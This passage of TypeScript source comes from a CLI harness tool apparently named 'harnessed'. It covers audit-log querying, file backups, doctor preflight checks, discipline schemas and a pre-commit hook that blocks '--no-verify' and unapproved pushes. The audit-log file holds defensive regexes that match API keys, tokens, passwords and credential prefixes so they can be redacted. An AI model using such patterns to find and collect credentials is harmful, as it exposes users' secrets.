=== 'error') errorCount++\n }\n }\n }\n // Phase 2.4 W4: emit runtime-layer findings (manifest key = 'project' or m.metadata.name).\n for (const [mname, fs] of byManifest) {\n if (yamls.includes(mname)) continue // manifest-layer already printed above\n for (const f of fs) {\n const mark = f.level === 'error' ? '✗' : '⚠'\n console.log(`${mark} [${mname}] ${f.field}: ${f.detail}`)\n if (f.level === 'error') errorCount++\n }\n }\n console.log(\n `\\naudited ${yamls.length} manifest${yamls.length === 1 ? '' : 's'} — ${findings.length} finding${findings.length === 1 ? '' : 's'} (${errorCount} error${errorCount === 1 ? '' : 's'})`,\n )\n process.exit(errorCount > 0 ? 1 : 0)\n })\n}\n","// Phase 5.1 W1 T1.1 — R10.1 audit log --filter consumer (registerAuditLog).\n// D-01: jq subprocess spawn (shell:false, argv-mode, STRIDE T mitigation).\n// D-02: dual format — default human table 5-col + --json full 12-field opt-in.\n// D-03: pagination: --tail N (default 50) + --head N + --reverse.\n// D-04: consumer 2nd-layer redact 5 patterns (defense-in-depth, CSO gate).\n// Sister: src/cli/doctor.ts register + ExitError + flag validation pattern.\n// Karpathy hard limit ≤200L.\n\nimport { spawn } from 'node:child_process'\nimport { existsSync, readFileSync } from 'node:fs'\nimport type { Command } from 'commander'\nimport type { AuditRecord } from '../audit/log.js'\nimport { harnessedFile } from '../installers/lib/harnessedRoot.js'\n\n// v3.0.3 — homedir-rooted via harnessedRoot SoT (sister src/audit/log.ts).\nfunction auditPath(): string {\n return harnessedFile('audit.log')\n}\n\n// D-04: pre-compile at module load (NOT inside loop per PLAN sneak-block).\n// Apply to task_excerpt field only (other fields are structured IDs/enums/timestamps).\n// Pipeline order: paginate → redact → jq → render (redact LAST per RESEARCH § 2.2).\nconst REDACT_PATTERNS: Array<[RegExp, string]> = [\n [/api[_-]?key\\s*[:=]\\s*\\S+/gi, 'api_key=[REDACTED]'],\n [/\\btoken\\s*[:=]\\s*\\S+/gi, 'token=[REDACTED]'],\n [/\\bpassword\\s*[:=]\\s*\\S+/gi, 'password=[REDACTED]'],\n [/Authorization:\\s*Bearer\\s+\\S+/gi, 'Authorization: Bearer [REDACTED]'],\n [/\\b(sk-|pk-|gh_|ghp_|ya29\\.|AIza)[A-Za-z0-9_\\-.]{4,}/g, '[REDACTED]'],\n]\n\nfunction redact(s: string): string {\n return REDACT_PATTERNS.reduce((acc, [re, rep]) => acc.replace(re, rep), s)\n}\n\nfunction redactRecord(r: AuditRecord): AuditRecord {\n return { ...r, task_excerpt: redact(r.task_excerpt) }\n}\n\nfunction renderHumanTable(records: AuditRecord[]): void {\n // 5-col: ts(19) | phase(6) | category(11) | matched_rule_id(20) | outcome\n const header = `${'ts'.padEnd(19)} | ${'phase'.padEnd(6)} | ${'category'.padEnd(11)} | ${'matched_rule_id'.padEnd(20)} | outcome`\n const sep = `${'-'.repeat(19)}-+-${'-'.repeat(6)}-+-${'-'.repeat(11)}-+-${'-'.repeat(20)}-+--------`\n console.log(header)\n console.log(sep)\n for (const r of records) {\n const ts = r.ts.slice(0, 19)\n const phase = r.phase.padEnd(6)\n const cat = r.category.padEnd(11)\n const rule = (r.matched_rule_id ?? 'null').padEnd(20)\n console.log(`${ts} | ${phase} | ${cat} | ${rule} | ${r.outcome}`)\n }\n}\n\nfunction pipeToJq(filterExpr: string, lines: string[]): Promise<number> {\n return new Promise((resolve, reject) => {\n // D-01: spawn with shell:false (default) — argv-mode immune to shell injection (STRIDE T).\n const child = spawn('jq', [filterExpr], {\n stdio: ['pipe', 'inherit', 'inherit'],\n windowsHide: true,\n })\n // Handle jq absent (ENOENT) — actionable error per doctor.ts jq check pattern.\n child.on('error', (err) => {\n const e = err as NodeJS.ErrnoException\n if (e.code === 'ENOENT') {\n console.error('✗ jq not found in PATH — run: harnessed doctor')\n resolve(1)\n } else {\n reject(err)\n }\n })\n child.on('close', (code) => resolve(code ?? 0))\n child.stdin.write(lines.join('\\n'))\n child.stdin.end()\n })\n}\n\nexport function registerAuditLog(program: Command): void {\n program\n .command('audit-log')\n .description(\n 'Query routing audit log (<harnessed-root>/audit.log) with optional jq filter (R10.1)',\n )\n .option('--filter <expr>', 'jq filter expression (e.g. \\'.category==\"engineering\"\\')')\n .option('--tail <n>', 'show N most recent records (default 50)', '50')\n .option('--head <n>', 'show N oldest records (--head takes priority over --tail)')\n .option('--reverse', 'flip output order')\n .option('--json', 'output full 12-field JSON instead of human table')\n .action(\n async (opts: {\n filter?: string\n tail?: string\n head?: string\n reverse?: boolean\n json?: boolean\n }) => {\n // H1 gate: validate pagination flags before any I/O (sister doctor.ts pattern).\n const tailN = opts.tail !== undefined ? Number(opts.tail) : 50\n if (Number.isNaN(tailN) || tailN < 1) {\n console.error('✗ --tail must be a positive integer')\n process.exit(2)\n }\n const headN = opts.head !== undefined ? Number(opts.head) : undefined\n if (headN !== undefined && (Number.isNaN(headN) || headN < 1)) {\n console.error('✗ --head must be a positive integer')\n process.exit(2)\n }\n\n // Read audit.log — SoT-derived path (STRIDE T: no derivation from user input).\n const path = auditPath()\n if (!existsSync(path)) {\n console.log(`no audit records found (${path} does not exist)`)\n process.exit(0)\n }\n\n const raw = readFileSync(path, 'utf8')\n const lines = raw\n .split('\\n')\n .map((l) => l.trim())\n .filter((l) => l.length > 0)\n\n if (lines.length === 0) {\n console.log('no audit records found (audit.log is empty)')\n process.exit(0)\n }\n\n // Parse records; skip malformed lines silently.\n let records: AuditRecord[] = []\n for (const line of lines) {\n try {\n records.push(JSON.parse(line) as AuditRecord)\n } catch {\n // skip malformed line\n }\n }\n\n // D-03: pagination — --head takes priority over --tail per PLAN must_haves.\n if (headN !== undefined) {\n records = records.slice(0, headN)\n } else {\n records = records.slice(-tailN)\n }\n\n // D-03: --reverse flips output order.\n if (opts.reverse) records = records.reverse()\n\n // D-04: redact task_excerpt BEFORE any output (apply last in pipeline per RESEARCH § 2.2).\n records = records.map(redactRecord)\n\n // D-01: --filter → pipe redacted JSONL through jq subprocess.\n if (opts.filter) {\n // jq absent → actionable error (sister doctor.ts jq check pattern).\n const redactedLines = records.map((r) => JSON.stringify(r))\n const exitCode = await pipeToJq(opts.filter, redactedLines)\n process.exit(exitCode)\n }\n\n // D-02: output format.\n if (opts.json) {\n for (const r of records) {\n console.log(JSON.stringify(r, null, 2))\n }\n } else {\n renderHumanTable(records)\n }\n\n process.exit(0)\n },\n )\n}\n","// Phase 1.2 backup writer per ADR 0004 § 3 schema + Pattern B + C + H.\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C3): each backed-up file's metadata entry\n// records `eol: 'lf' | 'crlf'` based on the original on-disk content\n// (detected by Buffer.includes('\\r\\n')). cli/rollback.ts MUST honor this\n// field on restore — naive `fs.writeFile(buf)` would otherwise round-trip\n// CRLF→LF on Win→Unix migrations or vice versa, mutating the user's\n// original file content. The eol field is the only safe way to preserve\n// the original line ending across a backup/restore cycle.\n//\n// ISO timestamp format: `2026-05-12T13-45-22.123Z`. We replace `:` with `-`\n// because Windows refuses `:` inside filenames; `.` and `-` are universally\n// safe.\n//\n// Pattern B (lazy timestamp dir creation): timestamp dir is mkdir-ed on the\n// fly inside backup() — we never pre-create unused dirs.\n// Pattern C: returns Result-shaped object; mkdir/write failures yield\n// InstallResult-style { ok: false, error } never throws.\n\nimport { createHash } from 'node:crypto'\nimport { mkdir, readFile, writeFile } from 'node:fs/promises'\nimport { dirname, join, relative } from 'node:path'\nimport { harnessedSubdir } from './harnessedRoot.js'\nimport type { DiffPlan, InstallContext, InstallError } from './types.js'\n\n// v2.0.1 fix: backup root migrated from `<ctx.cwd>/.harnessed-backup/` to\n// `~/.harnessed/backups/` to support running harnessed from read-only CWD\n// (e.g. user launched terminal from `C:\\Program Files\\Warp\\` → mkdir EPERM).\n// `getBackupRoot()` is exported so cli/backup-list.ts + cli/gc.ts +\n// cli/rollback.ts share the same SoT (sister Phase 2.6 single-source-of-truth\n// per ADR 0024 capability abstraction pattern).\n//\n// v3.0.3: routed through the shared `getHarnessedRoot()` SoT (sister\n// `harnessedRoot.ts`) so all harness-owned roots compose from a single helper.\n// Path remains `<homedir>/.harnessed/backups` — no behavioral change.\nexport function getBackupRoot(): string {\n return harnessedSubdir('backups')\n}\n\nexport interface BackupFileEntry {\n target: string // absolute path of original file\n backup: string // absolute path of backup copy\n sha1: string // sha1 of original content\n eol: 'lf' | 'crlf' // ASSUMPTIONS C3 — preserve original line ending\n}\n\nexport interface BackupMetadata {\n installer: string // manifest.metadata.name\n manifest: string // manifest.metadata.name (alias for clarity)\n timestamp: string // ISO-8601 (with `:` replaced by `-`)\n files: BackupFileEntry[]\n}\n\nexport type BackupResult =\n | { ok: true; backupId: string; backupDir: string }\n | { ok: false; error: InstallError }\n\nconst HOME_DIR = process.env.HOME ?? process.env.USERPROFILE ?? ''\n\nfunction mirrorPath(target: string, scope: 'HOME' | 'PROJECT', backupDir: string): string {\n // For HOME-scope files, mirror under .harnessed-backup/<id>/HOME/<rel-to-home>;\n // for PROJECT-scope, mirror under .harnessed-backup/<id>/PROJECT/<rel-to-cwd>.\n // If we cannot resolve a relative path (e.g. file is outside home dir on a\n // weird Win symlink), fall back to a flat sha1-of-path filename to avoid\n // colliding with sibling files.\n const root = scope === 'HOME' ? HOME_DIR : '.'\n const rel = root ? relative(root, target) : target\n if (!rel || rel.startsWith('..')) {\n const flat = createHash('sha1').update(target).digest('hex').slice(0, 16)\n return join(backupDir, scope, flat)\n }\n return join(backupDir, scope, rel)\n}\n\nfunction detectEol(buf: Buffer): 'lf' | 'crlf' {\n // First CRLF wins; manifests and config JSON are typically pure-LF or\n // pure-CRLF in real world (mixed-EOL files exist but are vanishingly rare;\n // we pick the dominant convention based on first occurrence).\n return buf.includes('\\r\\n') ? 'crlf' : 'lf'\n}\n\nexport async function backup(plan: DiffPlan, ctx: InstallContext): Promise<BackupResult> {\n const filename = ctx.manifest.metadata.name\n\n // ISO timestamp with `:` → `-` for Win filename safety.\n const backupId = new Date().toISOString().replace(/:/g, '-')\n const backupDir = join(getBackupRoot(), backupId)\n\n try {\n await mkdir(backupDir, { recursive: true })\n } catch (err) {\n return {\n ok: false,\n error: {\n file: filename,\n path: '/',\n message: `failed to create backup dir ${backupDir}: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-mkdir-failed',\n },\n }\n }\n\n const entries: BackupFileEntry[] = []\n\n for (const file of plan.files) {\n let buf: Buffer\n try {\n buf = await readFile(file.target)\n } catch (err) {\n // ENOENT is expected for pure-create plans (oldText === '' + file does\n // not yet exist) — record an empty backup entry so rollback knows to\n // delete the file rather than restore.\n const code = (err as NodeJS.ErrnoException).code\n if (code === 'ENOENT' && file.oldText === '') {\n entries.push({\n target: file.target,\n backup: '', // sentinel: no backup written; rollback should unlink target\n sha1: '',\n eol: 'lf', // moot for non-existent file; default to lf\n })\n continue\n }\n return {\n ok: false,\n error: {\n file: filename,\n path: file.target,\n message: `failed to read original file for backup: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-read-failed',\n },\n }\n }\n\n const sha1 = createHash('sha1').update(buf).digest('hex')\n const eol = detectEol(buf)\n const dest = mirrorPath(file.target, file.scope, backupDir)\n\n try {\n await mkdir(dirname(dest), { recursive: true })\n await writeFile(dest, buf)\n } catch (err) {\n return {\n ok: false,\n error: {\n file: filename,\n path: dest,\n message: `failed to write backup copy: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-write-failed',\n },\n }\n }\n\n entries.push({ target: file.target, backup: dest, sha1, eol })\n }\n\n // metadata.json — single source of truth for rollback.\n const metadata: BackupMetadata = {\n installer: filename,\n manifest: filename,\n timestamp: backupId,\n files: entries,\n }\n const metadataPath = join(backupDir, 'metadata.json')\n try {\n await writeFile(metadataPath, `${JSON.stringify(metadata, null, 2)}\\n`, 'utf8')\n } catch (err) {\n return {\n ok: false,\n error: {\n file: filename,\n path: metadataPath,\n message: `failed to write metadata.json: ${(err as Error).message}`,\n line: null,\n column: null,\n keyword: 'backup-metadata-failed',\n },\n }\n }\n\n return { ok: true, backupId, backupDir }\n}\n","// Phase 1.2 cli subcommand `backup list` per ADR 0004 § 3.\n//\n// Lists all backup snapshots under .harnessed-backup/<timestamp>/metadata.json\n// with installer / manifest / timestamp / file-count summary. Sister to\n// gc.ts (which deletes old snapshots) and rollback.ts (which restores from\n// a chosen timestamp).\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\nimport { getBackupRoot } from '../installers/lib/backup.js'\n\ninterface BackupMetadata {\n installer: string\n manifest: string\n timestamp: string\n files: Array<{ target: string }>\n}\n\nexport function registerBackupList(program: Command): void {\n const backup = program.command('backup').description('Backup snapshot operations')\n backup\n .command('list')\n .description('List backup snapshots under .harnessed-backup/')\n .action(async () => {\n const root = getBackupRoot()\n let dirs: string[]\n try {\n dirs = (await readdir(root, { withFileTypes: true }))\n .filter((e) => e.isDirectory())\n .map((e) => e.name)\n .sort()\n } catch {\n console.log(`no backups found (${root} absent)`)\n return\n }\n if (dirs.length === 0) {\n console.log(`no backups found (${root} empty)`)\n return\n }\n for (const ts of dirs) {\n try {\n const meta = JSON.parse(\n await readFile(join(root, ts, 'metadata.json'), 'utf8'),\n ) as BackupMetadata\n console.log(\n `${ts} ${meta.manifest} (${meta.files.length} file${meta.files.length === 1 ? '' : 's'})`,\n )\n } catch {\n console.log(`${ts} (metadata.json missing or unreadable)`)\n }\n }\n console.log(`\\n${dirs.length} snapshot${dirs.length === 1 ? '' : 's'} total`)\n })\n}\n","// Phase 1.2 cli subcommand `doctor` per PLAN § 4.1 acceptance B8' + ASSUMPTIONS B4 候选 1 + C4.\n// Phase 2.4 W1 T1.2 — expanded to 5 checks + --json flag + 3-tier status enum\n// (pass/warn/fail) + warn ≠ fail exit policy (B-06). Phase v2.0-2.4 W3 T2.4.W3.1 —\n// 9th + 10th checks (Agent Teams env D-11 + planning-with-files plugin D-15);\n// hard limit ≤225L per B-03 (12.5% tolerance over Karpathy 200L target — split\n// to 2 helper per `if exceed split helper` plan provision). Origin URL check\n// delegates to src/cli/lib/origin-check.ts (sister-share with audit, per B-28 + D2.4-3).\n//\n// IMPL NOTE (Rule 1 / ASSUMPTIONS C4 mitigation — WSL detection): on Windows\n// we resolve which `bash` the shell will spawn (PATH-first), then probe\n// `bash -c 'echo $WSL_DISTRO_NAME'`. If the probe outputs a non-empty string\n// the resolved bash is the WSL `bash.exe` shim (which forks a Linux process\n// — known to break ralph-loop subagent spawning on harness side, see\n// phase-1.1 finding). Empty output = Git Bash or native bash, OK.\n\nimport { spawnSync } from 'node:child_process'\nimport { readFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport type { Command } from 'commander'\n\ninterface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n}\n\nfunction checkNodeVersion(): CheckResult {\n const v = process.versions.node\n const major = Number.parseInt(v.split('.')[0] ?? '0', 10)\n return major >= 22\n ? { name: 'node ≥ 22', status: 'pass', message: `node ${v}` }\n : {\n name: 'node ≥ 22',\n status: 'fail',\n message: `node ${v} (need ≥ 22)`,\n fix: 'nvm install 22 && nvm use 22',\n }\n}\n\nasync function checkMcpScope(): Promise<CheckResult> {\n // ADR 0004 § 5: MCP servers must be installed at project scope (.mcp.json),\n // never at user scope (~/.claude.json mcpServers block) — CC #54803.\n const projectMcp = join(process.cwd(), '.mcp.json')\n const userClaude = join(homedir(), '.claude.json')\n\n let projectExists = false\n try {\n await readFile(projectMcp, 'utf8')\n projectExists = true\n } catch {\n // .mcp.json absence is fine if no MCP servers are installed yet — only an issue\n // if the user has them at user scope instead.\n }\n\n let userHasMcp = false\n try {\n const raw = await readFile(userClaude, 'utf8')\n const parsed = JSON.parse(raw) as { mcpServers?: Record<string, unknown> }\n userHasMcp = !!parsed.mcpServers && Object.keys(parsed.mcpServers).length > 0\n } catch {\n // ENOENT or malformed JSON — treat as no user-scope MCP servers, OK.\n }\n\n if (userHasMcp) {\n return {\n name: 'mcp scope = project',\n status: 'fail',\n message: `~/.claude.json has user-scope mcpServers (CC #54803 risk)`,\n fix: 'remove user-scope entries; re-add via `claude mcp add --scope project ...`',\n }\n }\n return {\n name: 'mcp scope = project',\n status: 'pass',\n message: projectExists ? 'project .mcp.json present' : 'no MCP servers installed',\n }\n}\n\nfunction checkJq(): CheckResult {\n const finder = process.platform === 'win32' ? 'where' : 'which'\n const r = spawnSync(finder, ['jq'], { encoding: 'utf8' })\n if (r.status === 0 && r.stdout.trim().length > 0) {\n return {\n name: 'jq present',\n status: 'pass',\n message: r.stdout.split(/\\r?\\n/)[0]?.trim() ?? 'jq found',\n }\n }\n const fix =\n process.platform === 'win32'\n ? 'winget install jqlang.jq (or: scoop install jq)'\n : process.platform === 'darwin'\n ? 'brew install jq'\n : 'apt-get install jq (or: dnf install jq)'\n return { name: 'jq present', status: 'fail', message: 'jq not found in PATH', fix }\n}\n\nfunction checkWinBash(): CheckResult {\n // Only meaningful on Windows; on Unix we report skipped-OK.\n if (process.platform !== 'win32') {\n return { name: 'bash flavor (win)', status: 'pass', message: 'skipped (non-Windows)' }\n }\n // Step 1: locate the `bash` that PATH would resolve.\n const where = spawnSync('where', ['bash'], { encoding: 'utf8' })\n const firstBash = (where.stdout ?? '').split(/\\r?\\n/)[0]?.trim() ?? '(not found)'\n if (where.status !== 0 || !firstBash || firstBash === '(not found)') {\n return {\n name: 'bash flavor (win)',\n status: 'fail',\n message: 'no bash on PATH',\n fix: 'install Git for Windows (Git Bash) and ensure it is on PATH',\n }\n }\n // Step 2: WSL probe — non-empty WSL_DISTRO_NAME = WSL bash, ralph-loop fork bug risk.\n const probe = spawnSync('bash', ['-c', 'echo $WSL_DISTRO_NAME'], { encoding: 'utf8' })\n const distro = (probe.stdout ?? '').trim()\n if (distro.length > 0) {\n return {\n name: 'bash flavor (win)',\n status: 'fail',\n message: `WSL bash (${distro}) — ralph-loop subagent fork breaks under WSL`,\n fix: 'reorder PATH so Git Bash precedes WSL bash.exe (Settings → System → Environment Variables)',\n }\n }\n return { name: 'bash flavor (win)', status: 'pass', message: `${firstBash} (Git Bash / native)` }\n}\n\n// Phase 2.4 W1 T1.2 — 5th check: origin URL drift detection (warn mode for fork\n// legitimacy per B-05; audit uses hard-fail mode via same helper per B-28).\nasync function checkOriginUrl(): Promise<CheckResult> {\n const { checkOrigin } = await import('./lib/origin-check.js')\n const r = checkOrigin(process.cwd(), { allowFork: true })\n return { name: 'origin URL', status: r.status, message: r.detail, fix: r.fix }\n}\n\n// Phase 3.2 W1 T1.5 — 6th check: gstack command prefix PROBE (D-01 LOCKED).\n// Sister Phase 2.4 W1 checkOriginUrl L130-134 dynamic import + delegate pattern.\nasync function checkGstackPrefix(): Promise<CheckResult> {\n const { probeGstackPrefix } = await import('./lib/probe-gstack.js')\n const r = probeGstackPrefix()\n return { name: 'gstack prefix', status: r.status, message: r.detail, fix: r.fix }\n}\n\n// Phase 3.3 W1 T1.7 — 7th check: deprecated manifests via aliases.yaml (D-02\n// DOCTOR-ONLY-WARN). Phase 3.4 W1 T1.2 — 8th check: skill description token\n// budget (D-03 BUFFER /4 + D-04 DOCTOR WARN). Option A inline shrink (3L each)\n// per RESEARCH § 1.3 + sister L138-142 checkGstackPrefix 100% delegate pattern.\nasync function checkDeprecations(): Promise<CheckResult> {\n return (await import('./lib/check-deprecations.js')).checkDeprecations()\n}\nasync function checkTokenBudget(): Promise<CheckResult> {\n return (await import('./lib/check-token-budget.js')).checkTokenBudget()\n}\n\n// Phase v2.0-2.4 W3 T2.4.W3.1 — 9th + 10th checks (Agent Teams env + planning-\n// with-files plugin presence). 100% delegate per sister checkGstackPrefix L138\n// pattern keeps doctor.ts ≤ Karpathy 200L+5% (CLAUDE.md L21 hard limit).\nasync function checkAgentTeamsEnv(): Promise<CheckResult> {\n return (await import('./lib/check-agent-teams-doctor.js')).checkAgentTeamsDoctor()\n}\nasync function checkPlanningPlugin(): Promise<CheckResult> {\n return (await import('./lib/check-planning-with-files.js')).checkPlanningWithFiles()\n}\n\nexport function registerDoctor(program: Command): void {\n program\n .command('doctor')\n .description(\n 'Preflight checks (Node / MCP scope / jq / Win bash / origin URL / gstack prefix / deprecations / token budget / Agent Teams / planning-with-files)',\n )\n .option('--json', 'output JSON instead of human-readable')\n .action(async (opts: { json?: boolean }) => {\n // Phase 4.3 W0 sister 3rd-cycle absorb #BT — async checks parallelize via\n // Promise.all (no data deps); Phase v2.0-2.4 W3 T2.4.W3.1 ADD 9th (D-11)\n // + 10th (D-15) check. Ordering preserved per doctor.test.ts cell-1+4+5.\n const [mcp, origin, gstack, dep, tok, at, ppwf] = await Promise.all([\n checkMcpScope(),\n checkOriginUrl(),\n checkGstackPrefix(),\n checkDeprecations(),\n checkTokenBudget(),\n checkAgentTeamsEnv(),\n checkPlanningPlugin(),\n ])\n const results: CheckResult[] = [\n checkNodeVersion(),\n mcp,\n checkJq(),\n checkWinBash(),\n origin,\n gstack,\n dep,\n tok,\n at,\n ppwf,\n ]\n const hasFail = results.some((r) => r.status === 'fail')\n const hasWarn = results.some((r) => r.status === 'warn')\n if (opts.json) {\n console.log(\n JSON.stringify(\n { checks: results, summary: hasFail ? 'fail' : hasWarn ? 'warn' : 'pass' },\n null,\n 2,\n ),\n )\n } else {\n for (const r of results) {\n const mark = r.status === 'pass' ? '✓' : r.status === 'warn' ? '⚠' : '✗'\n console.log(`${mark} ${r.name} — ${r.message}`)\n if (r.status !== 'pass' && r.fix) console.log(` fix: ${r.fix}`)\n }\n console.log(\n hasFail\n ? '\\nsome checks failed (see fix hints above)'\n : hasWarn\n ? '\\nall checks ok (with warnings — see hints above)'\n : '\\nall checks passed',\n )\n }\n process.exit(hasFail ? 1 : 0) // B-06: warn ≠ fail (advisory only)\n })\n}\n","// src/workflow/schema/discipline.ts — Phase v3.0-3.3 W0 T3.3.W0.6 (R30.9 + D-09).\n// TypeBox schema for workflows/disciplines/*.yaml (6 file ship v3.0 per D-09 L0 Discipline Substrate).\n// Sister: src/workflow/schema/judgment.ts dual-shape (triggers vs rules) pattern.\n//\n// 6 file covered (per D-09):\n// base shape (4 file) karpathy / output-style / language / operational\n// priority_hierarchy shape priority.yaml (ordered array of capability tier name)\n// protocols shape protocols.yaml (Record<string, ProtocolShape>)\n//\n// 18th surface schema_version: harnessed.discipline.v1 (per T3.3.W0.11 ADD).\n// additionalProperties:false strict per Phase 2.2 STRIDE T-2.2-02 + RESEARCH-disciplines § 1 verbatim.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nconst EnforcementLayer = Type.Union([\n Type.Literal('code-writing'), // karpathy 心法 — write code phase\n Type.Literal('output'), // BLUF / language / no-emoji — emit response phase\n Type.Literal('commit'), // biome / A7 / commit safety — pre-commit phase\n Type.Literal('workflow'), // priority hierarchy / protocols — workflow-level arbitration\n Type.Literal('tool'), // tool invoke discipline (reserved for v3.x extension)\n])\n\nconst Enforcement = Type.Union([\n Type.Literal('halt'), // process.exit non-zero, sister fallbackHandlers\n Type.Literal('warn'), // console.warn emit, continue\n Type.Literal('auto-fix'), // run auto_fix_cmd then continue (biome --write pattern)\n Type.Literal('info'), // log only, no action\n])\n\nexport const DisciplineRule = Type.Object(\n {\n id: Type.String({ minLength: 1 }), // kebab-case\n description: Type.String(), // human-readable\n enforcement: Enforcement,\n trigger: Type.Union([Type.String(), Type.Array(Type.String())]), // expr OR always-on list\n check_method: Type.String(), // heuristic / regex / external-cmd / llm-judge / file-content-match\n auto_fix_cmd: Type.Optional(Type.String()), // only enforcement=auto-fix\n },\n { additionalProperties: false },\n)\n\n// priority.yaml 专字段 — 7-tier capability hierarchy\nconst PriorityHierarchy = Type.Array(Type.String(), { minItems: 1 })\n\n// protocols.yaml 专字段 — Ideation→Onboarding + Plan→Execute + file-ownership-strict\nconst ProtocolShape = Type.Object(\n {\n description: Type.String(),\n required_fields: Type.Optional(Type.Array(Type.String())),\n forbidden_phrases: Type.Optional(Type.Array(Type.String())),\n file_ownership: Type.Optional(Type.Record(Type.String(), Type.Array(Type.String()))),\n rules: Type.Optional(Type.Array(DisciplineRule)),\n },\n { additionalProperties: false },\n)\n\nexport const Discipline = Type.Object(\n {\n schema_version: Type.Literal(SCHEMA_VERSIONS.discipline),\n discipline: Type.String({ minLength: 1 }), // basename (karpathy / output-style / ...)\n enforcement_layer: EnforcementLayer,\n auto_enforce: Type.Boolean(),\n rules: Type.Array(DisciplineRule),\n priority_hierarchy: Type.Optional(PriorityHierarchy), // priority.yaml only\n protocols: Type.Optional(Type.Record(Type.String(), ProtocolShape)), // protocols.yaml only\n },\n { additionalProperties: false },\n)\n\nexport type DisciplineT = Static<typeof Discipline>\nexport type DisciplineRuleT = Static<typeof DisciplineRule>\nexport type ProtocolShapeT = Static<typeof ProtocolShape>\n","// src/workflow/disciplineLoader.ts — Phase v3.0-3.3 W0 T3.3.W0.9 (R30.9 D-09).\n// Sister judgmentResolver.ts pattern: module-level Map<basename, DisciplineT> cache,\n// load + TypeBox validate on first access, subsequent cache hit.\n//\n// Public API:\n// loadDiscipline(basename, packageRoot): Promise<DisciplineT>\n// loadAllApplied(disciplines_applied[] | undefined, packageRoot):\n// Promise<Map<basename, DisciplineT>> — undefined defaults to all 6\n// getRule(basename, rule_id): DisciplineRuleT | undefined (sync, requires prior load)\n// _clearDisciplineCache(): void (test-only)\n//\n// Hot path: master orchestrator workflow load + 4 hook query path.\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { Discipline, type DisciplineRuleT, type DisciplineT } from './schema/discipline.js'\n\n/** All 6 LOCKED basenames per D-09 — sister DisciplineName Literal Union. */\nexport const DEFAULT_APPLIED: readonly string[] = [\n 'karpathy',\n 'output-style',\n 'language',\n 'operational',\n 'priority',\n 'protocols',\n]\n\nconst _cache = new Map<string, DisciplineT>()\n\nexport async function loadDiscipline(basename: string, packageRoot: string): Promise<DisciplineT> {\n const cached = _cache.get(basename)\n if (cached) return cached\n const yamlPath = resolve(packageRoot, 'workflows', 'disciplines', `${basename}.yaml`)\n const raw = await readFile(yamlPath, 'utf8')\n const parsedRaw = parseYaml(raw) as unknown\n if (!Value.Check(Discipline, parsedRaw)) {\n const errors = [...Value.Errors(Discipline, parsedRaw)]\n .slice(0, 3)\n .map((e) => `${e.path} ${e.message}`)\n .join('; ')\n throw new Error(`Invalid discipline file ${basename}.yaml: ${errors}`)\n }\n const parsed = parsedRaw as DisciplineT\n _cache.set(basename, parsed)\n return parsed\n}\n\nexport async function loadAllApplied(\n disciplines_applied: readonly string[] | undefined,\n packageRoot: string,\n): Promise<Map<string, DisciplineT>> {\n const applied =\n disciplines_applied && disciplines_applied.length > 0 ? disciplines_applied : DEFAULT_APPLIED\n const out = new Map<string, DisciplineT>()\n for (const basename of applied) {\n out.set(basename, await loadDiscipline(basename, packageRoot))\n }\n return out\n}\n\nexport function getRule(basename: string, ruleId: string): DisciplineRuleT | undefined {\n const d = _cache.get(basename)\n if (!d) return undefined\n return d.rules.find((r) => r.id === ruleId)\n}\n\n/** Test-only — clears the parsed-yaml cache so cache-hit / cache-miss fixtures\n * stay independent. Production callers should never touch this. */\nexport function _clearDisciplineCache(): void {\n _cache.clear()\n}\n","// src/discipline/enforcement/before-commit.ts — Phase v3.0-3.3 W0 T3.3.W0.9 (R30.9).\n// Hook trigger: git commit / push cmd dispatch 前;ralph-loop / subagent / 主 session 全走此 hook.\n// Reads operational.yaml rule[id=biome-preempt + no-push-without-approval + no-skip-hooks]\n// → enforce halt OR auto-fix per yaml enforcement field.\n//\n// Sister src/routing/lib/fallbackHandlers.ts ≤80L split pattern.\n\nimport { execSync } from 'node:child_process'\nimport { loadDiscipline } from '../../workflow/disciplineLoader.js'\n\nexport interface CommitHookCtx {\n changedFiles: readonly string[]\n cmdArgs: readonly string[]\n packageRoot: string\n cmdType: 'git-commit' | 'git-push'\n /** Whether user has explicitly approved the operation (push gate). */\n hasUserApproval: boolean\n}\n\nconst TS_JS_RE = /\\.(ts|tsx|js|mjs)$/\n\nexport async function runBeforeCommitHook(ctx: CommitHookCtx): Promise<void> {\n const d = await loadDiscipline('operational', ctx.packageRoot)\n\n // Rule: biome-preempt — auto-fix if TS/JS files in commit\n if (ctx.cmdType === 'git-commit' && ctx.changedFiles.some((f) => TS_JS_RE.test(f))) {\n const rule = d.rules.find((r) => r.id === 'biome-preempt')\n if (rule?.auto_fix_cmd) {\n console.warn('⚠️ biome preempt — running auto-fix before commit')\n execSync(rule.auto_fix_cmd, { cwd: ctx.packageRoot, stdio: 'inherit' })\n }\n }\n\n // Rule: no-skip-hooks — halt if --no-verify present (no user override at hook level\n // — D-09 LOCKED, only main session bypass via user explicit cmd line invoke)\n if (ctx.cmdArgs.includes('--no-verify')) {\n console.error('❌ no-skip-hooks violated: --no-verify forbidden')\n process.exit(2)\n }\n\n // Rule: no-push-without-approval — halt if push + no approval\n if (ctx.cmdType === 'git-push' && !ctx.hasUserApproval) {\n console.error('❌ no-push-without-approval: user explicit approval required')\n process.exit(2)\n }\n}\n","// Phase 2.2 Wave 2 T2.2 — Unified COMPLETION_SCHEMA (D2.2-1 / RESEARCH § 1.4).\n// ADR 0011 errata — dual-signal completion 4-layer (phase 2.2 W2 — F4).\n//\n// IMPL NOTE — RESEARCH § 1.4 establishes ONE schema shared across the 4-phase\n// execute-task chain (01-clarify / 02-code / 03-test / 04-deliver). Karpathy\n// YAGNI: per-phase schema variants are NOT needed — a single status/phase\n// discriminator + free-form summary + optional blockers covers every phase's\n// completion 